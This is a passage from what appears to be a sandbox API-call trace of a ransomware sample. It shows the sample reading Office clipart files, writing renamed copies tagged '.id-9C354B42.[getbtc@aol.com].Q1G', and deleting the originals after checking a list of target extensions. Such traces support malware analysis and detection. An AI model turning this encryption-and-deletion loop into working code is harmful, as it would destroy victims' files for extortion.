lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0258.570] lstrlenW (lpString=".jpg") returned 4 [0258.570] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.571] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0258.571] lstrlenW (lpString="J0107254.WMF") returned 12 [0258.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0258.571] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=20212) returned 1 [0258.571] CloseHandle (hObject=0x394) returned 1 [0258.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf")) returned 0x20 [0258.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0258.572] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.572] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.572] GetLastError () returned 0x0 [0258.572] ReadFile (in: hFile=0x394, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x4ef4, lpOverlapped=0x0) returned 1 [0258.587] WriteFile (in: hFile=0x390, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x4f00, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x4f00, lpOverlapped=0x0) returned 1 [0258.588] ReadFile (in: hFile=0x394, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.588] WriteFile (in: hFile=0x390, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0258.588] SetEndOfFile (hFile=0x390) returned 1 [0258.588] CloseHandle (hObject=0x390) returned 1 [0258.588] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.588] SetEndOfFile (hFile=0x394) returned 1 [0258.596] CloseHandle (hObject=0x394) returned 1 [0258.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.596] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf")) returned 1 [0258.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0258.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0258.597] lstrlenW (lpString=".doc") returned 4 [0258.597] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.597] lstrlenW (lpString=".docx") returned 5 [0258.597] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0258.597] lstrlenW (lpString=".pdf") returned 4 [0258.597] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.597] lstrlenW (lpString=".xls") returned 4 [0258.597] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.597] lstrlenW (lpString=".xlsx") returned 5 [0258.597] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0258.597] lstrlenW (lpString=".ppt") returned 4 [0258.597] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0258.597] lstrlenW (lpString=".zip") returned 4 [0258.597] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.597] lstrlenW (lpString=".rar") returned 4 [0258.597] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.597] lstrlenW (lpString=".bz2") returned 4 [0258.597] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.597] lstrlenW (lpString=".7z") returned 3 [0258.597] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0258.597] lstrlenW (lpString=".dbf") returned 4 [0258.597] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0258.598] lstrlenW (lpString=".1cd") returned 4 [0258.598] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0258.598] lstrlenW (lpString=".jpg") returned 4 [0258.598] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0258.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0258.598] lstrlenW (lpString=".doc") returned 4 [0258.598] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.598] lstrlenW (lpString=".docx") returned 5 [0258.598] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0258.598] lstrlenW (lpString=".pdf") returned 4 [0258.598] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.598] lstrlenW (lpString=".xls") returned 4 [0258.598] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.598] lstrlenW (lpString=".xlsx") returned 5 [0258.598] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0258.598] lstrlenW (lpString=".ppt") returned 4 [0258.598] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0258.598] lstrlenW (lpString=".zip") returned 4 [0258.598] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.598] lstrlenW (lpString=".rar") returned 4 [0258.598] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.598] lstrlenW (lpString=".bz2") returned 4 [0258.598] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.598] lstrlenW (lpString=".7z") returned 3 [0258.598] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0258.598] lstrlenW (lpString=".dbf") returned 4 [0258.598] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0258.598] lstrlenW (lpString=".1cd") returned 4 [0258.598] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0258.598] lstrlenW (lpString=".jpg") returned 4 [0258.598] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.599] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0258.599] lstrlenW (lpString="J0107262.WMF") returned 12 [0258.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0258.600] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=7996) returned 1 [0258.600] CloseHandle (hObject=0x394) returned 1 [0258.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf")) returned 0x20 [0258.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0258.600] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.600] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.601] GetLastError () returned 0x0 [0258.601] ReadFile (in: hFile=0x394, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x1f3c, lpOverlapped=0x0) returned 1 [0258.602] WriteFile (in: hFile=0x390, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x1f40, lpOverlapped=0x0) returned 1 [0258.603] ReadFile (in: hFile=0x394, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.603] WriteFile (in: hFile=0x390, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0258.603] SetEndOfFile (hFile=0x390) returned 1 [0258.603] CloseHandle (hObject=0x390) returned 1 [0258.604] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.604] SetEndOfFile (hFile=0x394) returned 1 [0258.608] CloseHandle (hObject=0x394) returned 1 [0258.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.608] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf")) returned 1 [0258.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0258.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0258.609] lstrlenW (lpString=".doc") returned 4 [0258.609] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.609] lstrlenW (lpString=".docx") returned 5 [0258.609] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0258.609] lstrlenW (lpString=".pdf") returned 4 [0258.609] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.609] lstrlenW (lpString=".xls") returned 4 [0258.609] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.609] lstrlenW (lpString=".xlsx") returned 5 [0258.609] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0258.609] lstrlenW (lpString=".ppt") returned 4 [0258.609] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0258.609] lstrlenW (lpString=".zip") returned 4 [0258.609] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.609] lstrlenW (lpString=".rar") returned 4 [0258.609] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.609] lstrlenW (lpString=".bz2") returned 4 [0258.609] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.609] lstrlenW (lpString=".7z") returned 3 [0258.609] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0258.609] lstrlenW (lpString=".dbf") returned 4 [0258.609] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0258.609] lstrlenW (lpString=".1cd") returned 4 [0258.609] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0258.609] lstrlenW (lpString=".jpg") returned 4 [0258.609] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0258.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0258.609] lstrlenW (lpString=".doc") returned 4 [0258.609] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.609] lstrlenW (lpString=".docx") returned 5 [0258.609] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0258.610] lstrlenW (lpString=".pdf") returned 4 [0258.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.610] lstrlenW (lpString=".xls") returned 4 [0258.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.610] lstrlenW (lpString=".xlsx") returned 5 [0258.610] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0258.610] lstrlenW (lpString=".ppt") returned 4 [0258.610] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0258.610] lstrlenW (lpString=".zip") returned 4 [0258.610] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.610] lstrlenW (lpString=".rar") returned 4 [0258.610] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.610] lstrlenW (lpString=".bz2") returned 4 [0258.610] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.610] lstrlenW (lpString=".7z") returned 3 [0258.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0258.610] lstrlenW (lpString=".dbf") returned 4 [0258.610] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0258.610] lstrlenW (lpString=".1cd") returned 4 [0258.610] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0258.610] lstrlenW (lpString=".jpg") returned 4 [0258.610] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.610] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0258.610] lstrlenW (lpString="J0107264.WMF") returned 12 [0258.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0258.704] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=5272) returned 1 [0258.704] CloseHandle (hObject=0x3b4) returned 1 [0258.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf")) returned 0x20 [0258.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0258.755] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.755] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0258.756] GetLastError () returned 0x0 [0258.756] ReadFile (in: hFile=0x3c0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x1498, lpOverlapped=0x0) returned 1 [0258.768] WriteFile (in: hFile=0x3c8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x14a0, lpOverlapped=0x0) returned 1 [0258.769] ReadFile (in: hFile=0x3c0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.769] WriteFile (in: hFile=0x3c8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0258.769] SetEndOfFile (hFile=0x3c8) returned 1 [0258.769] CloseHandle (hObject=0x3c8) returned 1 [0258.769] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.769] SetEndOfFile (hFile=0x3c0) returned 1 [0258.771] CloseHandle (hObject=0x3c0) returned 1 [0258.772] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.870] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf")) returned 1 [0258.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0258.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0258.870] lstrlenW (lpString=".doc") returned 4 [0258.870] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.870] lstrlenW (lpString=".docx") returned 5 [0258.870] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0258.870] lstrlenW (lpString=".pdf") returned 4 [0258.871] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.871] lstrlenW (lpString=".xls") returned 4 [0258.871] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.871] lstrlenW (lpString=".xlsx") returned 5 [0258.871] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0258.871] lstrlenW (lpString=".ppt") returned 4 [0258.871] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0258.871] lstrlenW (lpString=".zip") returned 4 [0258.871] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.871] lstrlenW (lpString=".rar") returned 4 [0258.871] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.871] lstrlenW (lpString=".bz2") returned 4 [0258.871] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.871] lstrlenW (lpString=".7z") returned 3 [0258.871] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0258.871] lstrlenW (lpString=".dbf") returned 4 [0258.871] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0258.871] lstrlenW (lpString=".1cd") returned 4 [0258.871] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0258.871] lstrlenW (lpString=".jpg") returned 4 [0258.871] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0258.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0258.872] lstrlenW (lpString=".doc") returned 4 [0258.872] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.872] lstrlenW (lpString=".docx") returned 5 [0258.872] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0258.872] lstrlenW (lpString=".pdf") returned 4 [0258.872] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.872] lstrlenW (lpString=".xls") returned 4 [0258.872] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.872] lstrlenW (lpString=".xlsx") returned 5 [0258.872] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0258.872] lstrlenW (lpString=".ppt") returned 4 [0258.872] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0258.872] lstrlenW (lpString=".zip") returned 4 [0258.872] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.872] lstrlenW (lpString=".rar") returned 4 [0258.872] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.872] lstrlenW (lpString=".bz2") returned 4 [0258.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.872] lstrlenW (lpString=".7z") returned 3 [0258.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0258.872] lstrlenW (lpString=".dbf") returned 4 [0258.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0258.872] lstrlenW (lpString=".1cd") returned 4 [0258.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0258.872] lstrlenW (lpString=".jpg") returned 4 [0258.872] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.872] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0258.873] lstrlenW (lpString="J0107316.WMF") returned 12 [0258.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0258.873] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=11288) returned 1 